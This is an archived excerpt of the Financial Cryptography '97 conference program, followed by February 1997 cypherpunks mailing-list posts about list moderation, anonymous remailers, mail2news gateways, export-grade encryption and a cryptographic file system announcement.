    Evaluating the security of electronic money;
        the view of a European central bank
    Simon L. Lelieveldt (De Nederlandsche Bank, Amsterdam, Netherlands)

 930 -- 1005
    Smart Cards and Superhighways
        The technology-driven denationalisation of money
    David G.W. Birch, Neil A. McEvoy (Hyperion, Surrey, England)

1005 -- 1045
    Coffee Break

1045 -- 1120
    Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
        Engineering in Perspective
    David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

1120 -- 1155
    Some Critical Remarks on "Dynamic Data Authentication" as
        specified in EMV '96
    Louis C. Guillou (CCETT, Cesson-Sevigne, France)

1155 -- 1230
    Single-chip implementation of a cryptosystem for financial
        applications
    Nikolaus Lange (SICAN Braunschweig GmbH, Braunschweig, Germany)

1230 -- 1330
    Lunch


Wednesday 26 February 1997

 800 --  830
    Breakfast

 830 --  930
    Invited Speaker
    Ronald Rivest (MIT Lab for Computer Science, Cambridge, MA, USA)

 930 -- 1005
    Auditable Metering with Lightweight Security
    Matthew K. Franklin, Dahlia Malkhi
        (AT&T Labs--Research, Murray Hill, NJ, USA)

1005 -- 1045
    Coffee Break

1045 -- 1120
    SVP: a Flexible Micropayment Scheme
    Jacques Stern, Serge Vaudenay (Ecole Normale Superieure, Paris, France)

1120 -- 1155
    An efficient micropayment system based on probabilistic polling
    Stanislaw Jarecki (MIT Lab for Computer Science, Cambridge, MA, USA),
    Andrew Odlyzko (AT&T Labs--Research, Murray Hill, NJ, USA)

1155 -- 1230
    On the continuum between on-line and off-line e-cash systems - I
    Yacov Yacobi (Microsoft, Redmond, WA, USA)

1230 -- 1330
    Lunch


Thursday 27 February 1997

 800 --  830
    Breakfast

 830 --  905
    Towards Multiple-payment Schemes for Digital Money
    H. Pagnia, R. Jansen (University of Darmstadt, Darmstadt, Germany)

 905 --  940
    Applying Anti-Trust Policies to Increase Trust in a Versatile
        E-Money System
    Markus Jakobsson (UCSD, La Jolla, CA, USA),
    Moti Yung (BTEC/CertCo, New York, NY, USA)

 940 -- 1015
    Cyberbanking and Privacy: The Contracts Model
    Peter P. Swire (Ohio State University, Columbus, OH, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Legal Issues in Cryptography
    Edward J. Radlo (Fenwick & West LLP, Palo Alto, CA, USA)

1120 -- 1230
    Panel Discussion
    Legal Issues of Digital Signatures
    Michael Froomkin (U. of Miami School of Law, Coral Gables, FL, USA),
    Charles Merrill (McCarter & English, Newark, NJ, USA),
    Benjamin Wright (Dallas, TX, USA)

1230 -- 1330
    Lunch

1930 -- 2015
    Invited Speaker
    Money Laundering: Yesterday, Today and Tomorrow
    Peter Wayner (Baltimore, MD, USA)

2015 -- 2200
    Rump Session


Friday 28 February 1997

 800 --  830
    Breakfast

 830 --  905
    The Strategic Role of Government in Electronic Commerce
    Paul Lampru (Verifone, Atlanta, GA, USA)

 905 --  940
    Using Markets to Achieve Efficient Task Distribution
    Ian Grigg, Christopher C. Petro (Systemics, Amsterdam, Netherlands)

 940 -- 1015
    The Gateway Security Model in the Java Electronic Commerce Framework
    Theodore Goldstein (Sun Microsystems Laboratories/Javasoft)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Highly Scalable On-line Payments Via Task Decoupling
    David William Kravitz (CertCo LLC, Albuquerque, NM, USA)

1120 -- 1155
    GUMP; Grand Unified Meta-Protocols
        Recipes for Simple, Standards-based Financial Cryptography
    Barbara Fox, Brian Beckman (Microsoft, Redmond, WA, USA)

1155 -- 1230
    Secure Network Communications and Secure Store&Forward Mechanisms
        with SAP R/3
    Bernhard Esslinger (SAP AG, Walldorf, Germany)

1230 -- 1330
    Lunch


Updates of the conference schedule will be available at the URL
http://www.cwi.nl/conferences/FC97/.

The conference will run from 8:30 AM to 12:30 PM for five days,
February 24-28 1997.  Breakfast and lunch are provided at the
conference.  The conference organizers have left the afternoons and
evenings open for corporate sponsored events, for networking, and for
recreational activities on the resort island of Anguilla.
Participants are encouraged to bring their families.


Workshop:

A 40-hour workshop, intended for anyone with commercial software
development experience who wants hands-on familiarity with the issues
and technology of financial cryptography, is planned in conjunction
with FC97, to be held during the week preceding the conference.

For more information on the workshop, please see the URL
http://www.cs.berkeley.edu/~iang/fc97/workshop.html.

For workshop registration, see the URL
http://www.offshore.com.ai/fc97/.


Venue:

The InterIsland Hotel is a small 14-room guest house and a large,
comfortable 150 seat conference facility with additional space for a
small 10-booth exhibition.  The Inter-Island is on Road Bay, near
Sandy Ground Village, in the South Hill section of Anguilla.  The
conference, workshop, and exhibition will have TCP/IP internet access.
The rooms at the InterIsland itself have sold out, but there are many
other hotels and guest houses on Anguilla, and shuttle service to the
conference will be available.


Air Transportation and Hotels:

Air travel to Anguilla is typically done through either San Juan or
St. Thomas for US flights, or St. Maarten/Martin for flights from
Europe and the US.

Anguillan import duties are not imposed on hardware or software which
will leave the island again. There are no other taxes--or cryptography
import/export restrictions--on Anguilla.

Hotels range from spartan to luxurious, and more information about
hotels on Anguilla can be obtained from your travel agent, or at the
URL http://www.offshore.com.ai/fc97/.


General Chairs:

Robert Hettinga, Shipwright/e$, Boston, MA, USA;
rah@shipwright.com

Vincent Cate, Offshore Information Services, Anguilla, BWI;
vince@offshore.com.ai

Conference, Exhibits, and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA;
rackliffe@tcm.org

Workshop Leader:

Ian Goldberg, Berkeley, CA, USA;
iang@cs.berkeley.edu


Registration:

You can register and pay for conference admission via the World Wide
Web at the URL http://www.offshore.com.ai/fc97/.

The cost of the FC97 Conference is US$1,000.

Booths for the exhibition start at US$5,000 and include two conference
tickets. For more information about exhibit space, contact Julie
Rackliffe, rackliffe@tcm.org.  Sponsorship opportunities for FC97 are
still available.

The cost of the workshop is US$5000, and includes meals but not
lodging.  You can register for the workshop, which runs the week prior
to the conference, at the URL http://www.offshore.com.ai/fc97.


Financial Cryptography '97 is held in cooperation with the
International Association for Cryptologic Research.

It is sponsored by:

The Journal for Internet Banking and Commerce
    <http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here <mailto: rackliffe@tcm.org>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 6 Feb 1997 19:41:07 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997")
Message-ID: <199702070341.TAA07866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:27 PM 2/6/97 -0500, Robert Hettinga wrote:
>
>This attempted legislation (see forward, below) is a blessing in disguise.
>
>It's just more proof that book-entry commerce isn't going to work on the
>net in the long run.
[deleted]

>+  SET, Cybercash/coin, SSL, and other encrypted-channel book entry
>methods, is a derigeble. You're flying, but you're using minimally strong
>crypto like little aerodynamic fins to push the giant gas bag of book-entry
>settlement around.

Now, is that a helium or a HYDROGEN dirigible?!?

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Feb 1997 17:00:36 -0800 (PST)
To: Duncan Frissell <cypherpunks@toad.com
Subject: Re: FinCEN hates cybercash, who 'da thunk it...
Message-ID: <199702070100.RAA04399@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:47 pm -0500 2/6/97, Duncan Frissell wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>>But Stanley Morris of the United States Treasury, who chaired a FAFT
>>working group which drafted the report, told a news conference that
>>law enforcement agencies would face 'very major new challenges' if new
>>technology moves the world "to a cashless society, beyond banks, cash
>>and borders."
>
>Oh No!  First they told us that they were all in favor of a cashless society
>because they could track all the transactions.  It was their Orwellian
>Dream.  Now Nirvana has almost arrived and they're afraid of it.  Can't
>they make up their minds?
>
>I noticed the problem long about 1975 when I noticed that the spread of
>ATM cards was actually the spread of a bearer instrument and would
>not satisfy the control needs of the regulatory types.

In a geodesic network, any node which tries to process all the traffic
chokes. The network then routes, to paraphrase Gilmore, around it. :-).

I remember this pravda chart at CFP a year ago, where FinCEN was
"demonstrating" (in a chart with no Y-axis) their "increased supervisory
load" due to the exponentiating use of point to point electronic
transaction settlement.

Be careful whatcha wish for fellas. An old Texas A&M Aggie joke about a
poor monkey trying to put the cork back into a pig's butt comes to mind...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 6 Feb 1997 12:42:58 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702062042.MAA29640@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.  Forty people
> cared enough to read every posting; the other thousand either wanted
> to try the experiment -- or didn't care enough to send an email
> message.  Which, as we all know, is a very low threshold.

As I, and a number of other list members, have said: Why did you not 
rename the lists so that cypherpunks@toad.com was uncensored???
You and I know perfectly well that probably 1250 of those addresses 
are people who don`t know the censorship is taking place, don`t read 
the list (defunct accounts), don`t know how to change their 
subscription, are too lazy to care either way etc... I would guess 
there are less than 100 that have considered the issues and decided 
to subscribe to the censored list.

> If I was a social scientist I might want to run the experiment both
> ways, or six different ways.  Name it this, or name it that.  I'm not;
> all I want is something that works.  The cypherpunks list was unusable
> for this kind of discussion, only a month ago.  It's usable now.

No, it was usable to those with time and patience or the rather 
rudimentary knowledge necessary to set up filters. Now all we are 
doing is relegating a list that was once subscribed to by intelligent 
and well educated people into a playground for the inept. I`m not 
being elitist but if we can`t expect a member of this list who 
actually uses it for discussion to know how to set up filters then he 
might as well unsubscribe.
 

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.  "Asking the list what to do" was clearly not a useful
> option.  Sandy cared enough about the community to make some concrete
> suggestions to me about how to get the list back on track.  They
> involved a lot more work than the previous setup.  I told him if he
> was willing to do the work, we could try it.  As Dale suggests, I
> wasn't about to waste my time reading the whole list in real time and
> passing judgement on the postings.  Sandy was, for a month.

You should indeed have shut down the list. The problem being not that 
you choose to run a censored list but that you have associated the 
name cypherpunks with it and in doing so you have destroyed the 
reputation that the name cypherpunks once had.

> Unpaid labor for a peanut gallery of spoiled children isn't very
> gratifying.

Paternalism is the root of all statism.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 6 Feb 1997 19:41:19 -0800 (PST)
To: Charley Musselman <cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702070341.TAA07916@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:19 PM 2/6/97 +0000, Charley Musselman wrote:
>C'punks --
>	When I told a friend about the alt.drugs.pot cultivation newsgroup
>and suggested that he use an anonymous remailer to post to the group,
>he laughed and said, "Who do you suppose runs the remailers?  ATF,
>FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>anyone know the answer?  Specifically, how can we choose a trusted
>remailer?

There is no such thing as a trusted remailer, unless you know and trust the
remailer operator. That's why one should use remailer chains. If only one
remailer in the chain is run by a non-TLA operator, you are safe.

Just for the record, I know numerous remailer operators. I am convinced
that neither of them works for any TLA in any way. YMMV.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Thu, 6 Feb 1997 17:11:17 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702070111.RAA04676@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


lcs Remailer Administrator wrote:
> 
> Because of recent attacks on the remailer network and mail2news
> gateways, I may loose access to at least one of the news servers I
> currently feed news to from my mail2news gateway.
> 
> If you are a news administrator, believe in free speech and anonymity,
> and you would like to help the cause, please consider giving transfer
> (aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
> not be the only server, and so do not need to worry about being the
> point of entrance of mail2news articles to Usenet.
> 
> Please contact me if you can help.  Thank you.
> 
> For those who oppose the existence of mail2news gateways, you should
> know that we are taking steps to limit the abuse.  However, doing so
> without in any way limiting articles that abide by the usage policy is
> tricky, and must be done carefully.  Please be patient.


  I'm writing from the Freedom Knights list but am in no way
representing them.
  
  What exactly do you mean by 'taking steps to limit the abuse'?  
Personally I think much of what is called abuse is nonsense and
that all posts, with the exception of cancels/NoCems should be
propogated regardless of content (including what is currently
referred to as spam).

  Also--could you forward to the Freedom Knights list a copy of
your 'usage policy' and impressions on the Freedom Knights two
FAQs.

  Thanks,

  Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 6 Feb 1997 20:41:09 -0800 (PST)
To: lcs Remailer Administrator <mail2news@anon.lcs.mit.edu
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702070441.UAA09113@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I would be happy to provide access to news.cyberpass.net (its good to be
the King). Just let me know the machine name and IP.

	-Lance

At 2:17 PM -0800 2/6/97, lcs Remailer Administrator wrote:
>Because of recent attacks on the remailer network and mail2news
>gateways, I may loose access to at least one of the news servers I
>currently feed news to from my mail2news gateway.
>
>If you are a news administrator, believe in free speech and anonymity,
>and you would like to help the cause, please consider giving transfer
>(aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
>not be the only server, and so do not need to worry about being the
>point of entrance of mail2news articles to Usenet.
>
>Please contact me if you can help.  Thank you.
>
>For those who oppose the existence of mail2news gateways, you should
>know that we are taking steps to limit the abuse.  However, doing so
>without in any way limiting articles that abide by the usage policy is
>tricky, and must be done carefully.  Please be patient.


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zinc <zinc@zifi.genetics.utah.edu>
Date: Thu, 6 Feb 1997 19:41:20 -0800 (PST)
To: cryptography@c2.net
Subject: lead remailer is shut down
Message-ID: <199702070341.TAA07917@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message is a courtesy copy of an article
that has been posted as well.

-----BEGIN PGP SIGNED MESSAGE-----

hi,

i came in today to find they (university system admins) had pulled the
plug on my machine.  this is all because some luser spammed usenet
using the remailer on my machine.  thanks a lot.

so, the lead remailer is gone for good; it lasted almost exactly one
year. 

it was nice while it lasted.

- -patrick finerty
biochem grad student, u of utah

- -- 
"Those that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety." -- Benjamin Franklin (1773)
		   finger zinc-pgp@zifi for PGP key
zifi runs LINUX 2.0.28  -=-=-=WEB=-=-=->  http://zifi.genetics.utah.edu

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L
6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE
4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt
clfXhusEPPg=
=0fse
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 6 Feb 1997 20:41:11 -0800 (PST)
To: Bill Stewart <svmcguir@syr.edu>
Subject: Re: mail-to-news fun
Message-ID: <199702070441.UAA09115@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It would be a trivial hack for Mixmaster. It allways knows if a message if
going to another remailer, or if this is the last hop, so it can add the
disclaimer only on the last hop.

	-Lance

At 4:06 PM -0800 2/6/97, Bill Stewart wrote:
>At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote:
>>On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
>>> People don't read mail headers or disclaimers at the bottom,
>>> and putting disclaimers like that into message text for
>>> email exposes the message to traffic analysis.)
>
>>How does putting it in the message expose it to traffic analysis but not
>>putting it in a header?
>
>Suppose you're sending a message on a remailer chain of
>you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target
>and Bob puts lots of disclaimers in his remailer's outgoing messages.
>Anything Bob puts in a header will get stripped out by Charlie,
>so it's no problem.  However, if Bob tacks a disclaimer
>as the bottom text in the outgoing message, when Eve sends
>mail to Fred she'll also see the disclaimer that
>	The message was sent by an anonymous user
>	through the remailer at Bob's Remailer Shack.
>	Bob doesn't know who sent it, and doesn't keep records,
>	so he can't squash the user, but he can block mail to you
>	if you don't want any more anonymous email.
>	Don't believe everything you read!
>so she'll know to check the FBI Illegal Wiretap files for Bob.
>
>Some comments and backtracking
>0) Of course, if you want to avoid traffic analysis,
>sending unencrypted email is pretty stupid, and only the
>next hop is going to see a disclaimer that you append
>after the encrypted part of the message.
>
>1) Prepending the disclaimer to the message body is
>pretty unfriendly to the :: syntax, and not all that
>great for PGP encrypted messages either.  Pretend I
>really just suggested appending it at the end,
>since that's what I would have said if I'd been thinking :-)
>
>On the other hand, I suppose that you can see whether the
>next hop is a Type I remailer by looking for the :: or ##.
>
>2) Cutmarks would be a nice fix, but they require too much
>attention to detail to get right, in case the next hop
>is a remailer.
>
>So maybe you _should_ always put in the disclaimer,
>at the end, with a reminder to always encrypt your
>remailer-chain mail if you want to avoid traffic analysis :-)
>
>
>
>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 6 Feb 1997 12:42:45 -0800 (PST)
To: mark@infolawalert.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702062042.MAA29621@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark <mark@infolawalert.com> writes:
> I'm almost certain that Murray is a consultant rather than
> or in addition to an accountant. He's been saying these things

William Murray used to post frequently to sci.crypt, alt.security.pgp,
etc when I read those forums.  He also I think wrote the forword for
one of the books on using PGP.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Fri, 7 Feb 1997 20:25:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Enlightened commentary on Netizen.
Message-ID: <199702080425.UAA08800@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


First, Rebecca Vesely has a special report, the main thrust
of which is that three firms being allowed to export 56 bit
encryption indicates flexibility on the part of the
government.

http://www.netizen.com/netizen/97/05/special2a.html

To top it off, here are two gems from the followup discussion.

http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387

2. 56 ONLY A SLIGHTLY SMALLER JOKE
    Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST

    If it takes a college student four hours to break
    a 40bit code it should take him/her about six 
    hours to do the same to 56bits. Then what excuses 
    are the government and its butt-kissing companies 
    going to give us for not allowing *real* coding?

4. 56bits will not take 6 hours to crack
    Piers Cawley (pdcawley) on Thu, 6 Feb 97 05:05 PST

    Rick seems to be missing the point about strong encryption -- the reason that DES/IDEA encryption
    is hard to crack is because the key system is based on the fact that factoring big numbers is a long,
    slow tedious process which gets exponentially harder as the length of the number increases. What this
    means is that it'll probably take the college student, ooh... 24 hours to crack a 56 bit key.

    However, the question has to be asked, why the fuck should we non US citizens go and buy
    cryptographic software that is deliberately coded to allow the US government to read our mail? 

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 6 Feb 1997 19:41:27 -0800 (PST)
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: Transparent Cryptographic File System (fwd)
Message-ID: <199702070341.TAA07928@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Haven't seen this on cpunks.

----- Forwarded message from Kenneth Stailey -----

>From xtech-request@zephyr.ccrc.wustl.edu  Thu Feb  6 18:26:49 1997
Date: Thu, 6 Feb 1997 16:47:28 -0500 (EST)
Message-Id: <199702062147.QAA29127@duality.gnu.ai.mit.edu>
From: Kenneth Stailey <kstailey@gnu.ai.mit.edu>
To: tech@openbsd.org
Subject: Transparent Cryptographic File System
Sender: owner-tech@openbsd.org
Precedence: bulk

Hi,

I thought that there might be some interest in looking at this:

From: ermmau@ios.diaedu.unisa.it (Ermelindo Mauriello)
Subject: New release of TCFS (Transparent Cryptographic File System)
Newsgroups: comp.os.linux.announce
Date: Thu, 16 Jan 1997 07:14:53 GMT
Followup-To: comp.os.linux.development.system
Organization: Universita' di SALERNO - Dip. Informatica ed Appl.
Path: ai-lab!bloom-beacon.mit.edu!howland.erols.net!newsfeed.internetmci.com!zeke.ebtech.net!loki.tor.hookup.net!omega.metrics.com!liw.clinet.fi!not-for-mail
Lines: 51
Approved: linux-announce@news.ornl.gov (Lars Wirzenius)
Message-ID: <pgpmoose.199701160914.15063@liw.clinet.fi>
NNTP-Posting-Host: localhost
X-Server-Date: 16 Jan 1997 07:15:02 GMT
X-Original-Date: 15 Jan 1997 14:51:36 GMT
X-Auth: PGPMoose V1.1 PGP comp.os.linux.announce
	iQBVAwUBMt3VcjiesvPHtqnBAQECXwH+PKb4gmvn2sSqa3caegRau0cHJ9Lx9hII
	YG0YmSbwPf+oFV4ie4omldPpTO3VjGXSkY11zIof6b3HzY3dNzajyQ==
	=aNko

-- Start of PGP signed section.
We are glad to announce that a new release of TCFS
(Transparent Cryptographic File System) for Linux
is now available.

TCFS is a cryptographic filesystem developed at the Universita' di
Salerno (Italy). It operates like NFS but allows users to use a new
flag X to make the files secure (encrypted).
In theis release files are encrypted using DES.

The new release works in Linux kernel space, and may be linked as
a module to Linux 2.0.x kernels.

A mailing-list is available at tcfs-list@mikonos.dia.unisa.it.
Documentation is available at http://mikonos.dia.unisa.it/tcfs.
Here you can find instructions for installing TCFS and docs on
how it works.

Mirror sites are available at http://www.globenet.it/~ermmau/tcfs and
http://www.inopera.it/~ermmau/tcfs

                              \|||/
                              (o o)
     ----------------------ooO--O--Ooo-------------------------------
     ! ////////  //// ////  Ermelindo Mauriello                     !
     ! //        // /// //  e-mail: ermmau@edu-gw.dia.unisa.it      !
     ! /////     //  /  //          ermmau@pantelleria.dia.unisa.it !
     ! //        //     //          ermmau@globenet.it              !
     ! ///////   //     //          ermmau@inopera.it               !
     !--------------------------------------------------------------!
     !          LINUX - The choice of a GNU generation !!!          !
     ----------------------------------------------------------------
-- End of PGP signed section.

----- End of forwarded message from Kenneth Stailey -----

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 20:40:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702070440.UAA09083@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

>
> Mark <mark@infolawalert.com> writes:
> > I'm almost certain that Murray is a consultant rather than
> > or in addition to an accountant. He's been saying these things
>
> William Murray used to post frequently to sci.crypt, alt.security.pgp,
> etc when I read those forums.  He also I think wrote the forword for
> one of the books on using PGP.

One of my first flame wars on Internet, some 15 years ago, was with
William H. Murray over my criticism of DES.  How time flies. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Feb 1997 22:55:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: My messages not appearing on either of the lists?
Message-ID: <199702070655.WAA12884@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,

My posting seem to be going into Limbo, being sent neither to the
Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks
Hell. At least this is how things now appear.

I sent the message below to the list this morning (Thursday) at 8:43 a.m.
PST. As of tonight, 12 hours later, I haven't seen it on either the
Singapore Web site--last archived 30 minutes ago--or on the "Flames" list
to which I have temporarily subscribed (to see what Sandy counts as a
"flame").

Has anyone else seen it? I've looked, but there's always a chance I somehow
spaced out and missed it. (I doubt it though.) If I have missed it, despite
carefully scanning for it for the past 8-12 hours, my apologies. If it has
not appeared on either the Censored list or the Flames list, then something
is rotten in the state of Denmark.

By the way, I noted that many of the messages which appeared at the
Singapore Web archive site have dates much later than mine, including
several dated at least 8-10 hours after my message. Likewise, some of the
Flames messages are dated much later than my message.

(Bill Stewart got a message through dated Thu, 06 Feb 1997 16:06:06 -0800,
Mark Henderson got one through at Thu, 6 Feb 1997 15:56:19 PST, and so on.
One would thus have thought that my message, dated Thu, 6 Feb 1997 08:43:35
-0800, would by now either have been approved and hence on the Censored
list, or rejected as unfit for Cypherpunks to sully their neurons with, and
hence passed on to the Flames list. By the way, some of the "Flames"
messages are also dated late afternoon or evening.)

So, is my message just sitting around someplace, awaiting some final
decision? What's the basis of this decision? (Perhaps Sandy has "kicked it
upstairs" to John for him to decide on? Just a hypothesis....)

I will repeat my message below. As you will be able to see, my message
contains no "flames" of its own, and the messages it quotes do not seem
flamish to me, either.

(It is true that Vulis uses the phrase "Limey faggots," in reference to
beer-serving habits, but he does not directly insult any list members with
this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
be blocked from their usual characterizations of Congresscritters and NSA
stooges.)


I think a delay of greater than 11 hours in being distributed on one of the
two lists (even if my message is sent out in the next hour or so) is
unacceptable. If a moderator cannot get to traffic in the order in which it
was received and disposition it promptly, he or she has no business being a
moderator of a high-volume list. (Eric Blossom's and Ray Arachelian's "best
of" compilations are a different matter, for reasons discussed many times
here.)

So, why hasn't this message appeared on one of the two lists?

--Tim May



>Date: Thu, 6 Feb 1997 08:43:35 -0800
>To: cypherpunks@toad.com
>From: "Timothy C. May" <tcmay@got.net>
>Subject: Re: Moderation [Tim,Sandy]
>Cc:
>Bcc:
>X-Attachments:
>
>
>I decided to subscribe only to the "cypherpunks flames" list, just to see
>what was being filtered into it.
>
>The message below is one example of what is going there. I received it,
>and the header includes the line: "Sender:
>owner-cypherpunks-unedited@toad.com", so I am surmising that it was indeed
>filtered into the flames list.
>
>Now, admittedly, the _content_ of this kind of post is "off-topic," but I
>sure don't see any evidence of _flames_.
>
>Is Sandy now filtering based on his notions of list relevance, and not
>just on the basis of insults, jabs, flames, and "lack of comity"? While
>lack of relevance may be a criterion for someone to filter by, it doesn't
>square with anything I recall Sandy citing, and it introduces a new and
>dimension to the debate.
>
>--Tim May
>
>(The entire post is included, to ensure that no one claims I am editing
>out any flames, insults, etc.)
>
>
>At 11:06 PM -0800 2/5/97, Dale Thorn wrote:
>>Dr.Dimitri Vulis KOTM wrote:
>>> Dale Thorn <dthorn@gte.net> writes:
>>
>>> > > > The drunk can be excluded, but when someone wants to use the drunk as
>>> > > > an example to escalate the exclusion to other persons who are not in
>>> > > > fact drunk, watch out!
>>
>>> > > If I get really really drunk, which happens very seldom, then I'm
>>> > > too drunk to post. I don't mind an occasional beer, though.
>>
>>> > > Oksas, have you ever tried beer? :-)
>>
>>> > I had my first beer(s) in three years at one of those industrial
>>> > parties last night.  It made the craps table action seem a bit
>>> > merrier, and the girls were friendlier too.
>>
>>> I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
>>> one think: I like room-temperature beer better than cold beer. YMMV.
>>
>>Interesting coincidence for people on opposite coasts - the bar at
>>the hotel had two choices:  Bud regular and Coors light.  I took the
>>Coors.
>
>
>
>
>

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
